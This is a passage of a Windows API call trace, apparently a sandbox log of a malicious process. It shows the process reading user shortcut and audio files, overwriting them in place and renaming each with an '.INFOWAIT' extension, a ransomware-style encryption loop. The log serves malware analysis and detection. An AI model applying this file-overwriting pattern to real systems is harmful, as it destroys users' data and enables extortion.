PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.926] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.927] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a1 [0119.927] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.928] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.928] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3a1, lpOverlapped=0x0) returned 1 [0119.945] VirtualAlloc (lpAddress=0x0, dwSize=0x3a1, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.946] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.946] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3a1, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3a1, lpOverlapped=0x0) returned 1 [0119.946] CloseHandle (hObject=0xad0) returned 1 [0119.950] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" [0119.950] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.INFOWAIT" [0119.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\downloads.lnk.infowait")) returned 1 [0119.951] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.952] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.953] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.953] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.954] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16b [0119.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.954] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.954] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x16b, lpOverlapped=0x0) returned 1 [0119.957] VirtualAlloc (lpAddress=0x0, dwSize=0x16b, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.958] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.958] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x16b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x16b, lpOverlapped=0x0) returned 1 [0119.958] CloseHandle (hObject=0xad0) returned 1 [0119.959] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" [0119.959] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.INFOWAIT" [0119.959] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\recentplaces.lnk.infowait")) returned 1 [0119.960] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.961] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.961] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-fn54zopou2dzgy9xjjc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.962] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeda [0119.962] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.963] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.963] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xeda, lpOverlapped=0x0) returned 1 [0119.967] VirtualAlloc (lpAddress=0x0, dwSize=0xeda, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.967] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.967] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xeda, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xeda, lpOverlapped=0x0) returned 1 [0119.968] CloseHandle (hObject=0xad0) returned 1 [0119.972] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3" [0119.972] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3.INFOWAIT" [0119.972] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-fn54zopou2dzgy9xjjc.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\-Fn54ZOPOU2DZgY9Xjjc.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\-fn54zopou2dzgy9xjjc.mp3.infowait")) returned 1 [0119.973] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.974] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.974] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.974] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\0xqbmq5ckau.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.976] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcf0f [0119.976] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.976] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.976] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xcf0f, lpOverlapped=0x0) returned 1 [0119.981] VirtualAlloc (lpAddress=0x0, dwSize=0xcf0f, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.986] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.986] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xcf0f, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xcf0f, lpOverlapped=0x0) returned 1 [0119.986] CloseHandle (hObject=0xad4) returned 1 [0119.987] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3" [0119.988] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3.INFOWAIT" [0119.988] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\0xqbmq5ckau.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\0XQBmq5ckaU.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\0xqbmq5ckau.mp3.infowait")) returned 1 [0119.988] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.990] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.990] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\8e9h31n.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.991] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x9f30 [0119.991] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.992] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.992] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x9f30, lpOverlapped=0x0) returned 1 [0119.996] VirtualAlloc (lpAddress=0x0, dwSize=0x9f30, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.000] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.000] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x9f30, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x9f30, lpOverlapped=0x0) returned 1 [0120.000] CloseHandle (hObject=0xad4) returned 1 [0120.001] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3" [0120.001] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3.INFOWAIT" [0120.002] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\8e9h31n.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\8E9H31N.mp3.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\8e9h31n.mp3.infowait")) returned 1 [0120.002] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.004] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.004] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\b zeoraav.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.005] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x76e [0120.006] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.006] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.006] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x76e, lpOverlapped=0x0) returned 1 [0120.010] VirtualAlloc (lpAddress=0x0, dwSize=0x76e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0120.011] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.011] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x76e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x76e, lpOverlapped=0x0) returned 1 [0120.011] CloseHandle (hObject=0xad0) returned 1 [0120.012] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav" [0120.012] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav.INFOWAIT" [0120.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\b zeoraav.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\b ZEoraAV.wav.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\b zeoraav.wav.infowait")) returned 1 [0120.012] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.013] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.013] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.013] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\kjfrd7nimqeqs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.014] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1676b [0120.014] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.014] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.014] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x1676b, lpOverlapped=0x0) returned 1 [0120.017] VirtualAlloc (lpAddress=0x0, dwSize=0x1676b, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.025] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.025] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x1676b, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x1676b, lpOverlapped=0x0) returned 1 [0120.025] CloseHandle (hObject=0xad0) returned 1 [0120.026] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a" [0120.026] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a.INFOWAIT" [0120.026] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\kjfrd7nimqeqs.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\kJFrd7NImQEQs.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\kjfrd7nimqeqs.m4a.infowait")) returned 1 [0120.027] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.028] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.028] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.028] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\nbd6m3qs3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.029] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x121f0 [0120.029] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.030] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.030] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x121f0, lpOverlapped=0x0) returned 1 [0120.033] VirtualAlloc (lpAddress=0x0, dwSize=0x121f0, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0120.038] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.038] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x121f0, lpOverlapped=0x0) returned 1 [0120.038] CloseHandle (hObject=0xad0) returned 1 [0120.040] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a" [0120.040] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a.INFOWAIT" [0120.040] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\nbd6m3qs3.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\NBd6m3qs3.m4a.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\nbd6m3qs3.m4a.infowait")) returned 1 [0120.040] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.042] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.042] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0120.042] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\4fONS\\Qj0Bxz9rAG9Fja0Mk.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\4fons\\qj0bxz9rag9fja0mk.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0120.043] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8be2 [0120.043] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0120.043] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.043] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, 